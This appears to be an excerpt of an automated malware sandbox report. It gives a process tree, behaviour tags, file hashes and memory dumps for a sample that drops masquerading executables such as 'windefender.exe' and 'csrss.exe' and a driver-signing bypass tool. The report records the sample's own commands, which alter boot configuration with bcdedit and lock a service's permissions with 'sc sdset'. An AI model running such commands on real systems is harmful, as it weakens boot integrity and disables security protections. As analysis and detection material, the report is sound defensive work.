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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\System32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Drops file in Drivers directory
- Executes dropped EXE
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C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Suspicious use of AdjustPrivilegeToken
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Matrix ATT&CK v6
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeMD5
d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeMD5
d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
0d039208c1658b3fc0c7bd9679a1744d
SHA1adf1b4f1c00301f325036086a882bdb145002588
SHA256aae91b20323629b5d0c4a1ed5ad5cf5383730f5233433eba7b450eafec503501
SHA5123e97398f5db4c4549dac9d375e07d4acfc236e477c005d37870b5094d37c27878ab53ad8fadae98fd6f5f3cfc587f0387a2b47a6678234eda3a926797ee23496
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C:\Windows\rss\csrss.exeMD5
0d039208c1658b3fc0c7bd9679a1744d
SHA1adf1b4f1c00301f325036086a882bdb145002588
SHA256aae91b20323629b5d0c4a1ed5ad5cf5383730f5233433eba7b450eafec503501
SHA5123e97398f5db4c4549dac9d375e07d4acfc236e477c005d37870b5094d37c27878ab53ad8fadae98fd6f5f3cfc587f0387a2b47a6678234eda3a926797ee23496
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C:\Windows\windefender.exeMD5
0960d00f9971b8003e4bc193737f256e
SHA160cd089b6f9a73b0f29b511f5a9fc4c15855cba5
SHA256629a413c87fe43667f39e89ec6314ec471bea166444c050375b6b56e1c00907b
SHA512aca3a3d2dac0317c6343ece14e832bcf5372c0aa5fed17865aa8a8181a9eb24a6aa556e021d7862db97224d71f24361cb6594d7cb9a627e5a35a2cb06c031ca1
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C:\Windows\windefender.exeMD5
0960d00f9971b8003e4bc193737f256e
SHA160cd089b6f9a73b0f29b511f5a9fc4c15855cba5
SHA256629a413c87fe43667f39e89ec6314ec471bea166444c050375b6b56e1c00907b
SHA512aca3a3d2dac0317c6343ece14e832bcf5372c0aa5fed17865aa8a8181a9eb24a6aa556e021d7862db97224d71f24361cb6594d7cb9a627e5a35a2cb06c031ca1
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C:\Windows\windefender.exeMD5
0960d00f9971b8003e4bc193737f256e
SHA160cd089b6f9a73b0f29b511f5a9fc4c15855cba5
SHA256629a413c87fe43667f39e89ec6314ec471bea166444c050375b6b56e1c00907b
SHA512aca3a3d2dac0317c6343ece14e832bcf5372c0aa5fed17865aa8a8181a9eb24a6aa556e021d7862db97224d71f24361cb6594d7cb9a627e5a35a2cb06c031ca1
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
335ee604bc5976ee83b38f3dddfed723
SHA12511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac
SHA2568373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f
SHA51287ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee
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\Users\Admin\AppData\Local\Temp\osloader.exeMD5
78c581e475d59efdebee2d3f4355f03f
SHA1fda6c1f77f772afaa1b44a44c1fb29ee07434d10
SHA2569f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee
SHA51235ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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memory/424-36-0x0000000000000000-mapping.dmp
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memory/632-15-0x0000000000000000-mapping.dmp
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memory/732-3-0x0000000000000000-mapping.dmp
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memory/732-5-0x0000000003070000-0x0000000003071000-memory.dmpFilesize
4KB
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memory/800-16-0x0000000000000000-mapping.dmp
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memory/904-35-0x0000000000000000-mapping.dmp
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memory/1164-17-0x0000000000000000-mapping.dmp
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memory/1896-23-0x0000000000000000-mapping.dmp
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memory/2060-41-0x0000000000000000-mapping.dmp
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memory/2064-10-0x0000000000000000-mapping.dmp
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memory/2064-14-0x00000000035B0000-0x00000000035B1000-memory.dmpFilesize
4KB
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memory/2160-24-0x0000000000000000-mapping.dmp
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memory/2180-25-0x0000000000000000-mapping.dmp
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memory/2548-46-0x0000000000000000-mapping.dmp
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memory/2608-47-0x0000000000000000-mapping.dmp
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memory/2688-26-0x0000000000000000-mapping.dmp
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memory/2788-8-0x0000000000000000-mapping.dmp
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memory/3024-27-0x0000000000000000-mapping.dmp
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memory/3040-33-0x0000000000000000-mapping.dmp
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memory/3060-1-0x0000000003170000-0x0000000003171000-memory.dmpFilesize
4KB
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memory/3428-28-0x0000000000000000-mapping.dmp
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memory/3484-37-0x0000000000000000-mapping.dmp
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memory/3748-34-0x0000000000000000-mapping.dmp
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memory/3756-38-0x0000000000000000-mapping.dmp
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memory/3832-32-0x0000000000000000-mapping.dmp
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memory/3904-31-0x0000000000000000-mapping.dmp
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memory/3916-29-0x0000000000000000-mapping.dmp
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memory/3976-9-0x0000000000000000-mapping.dmp
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memory/4048-30-0x0000000000000000-mapping.dmp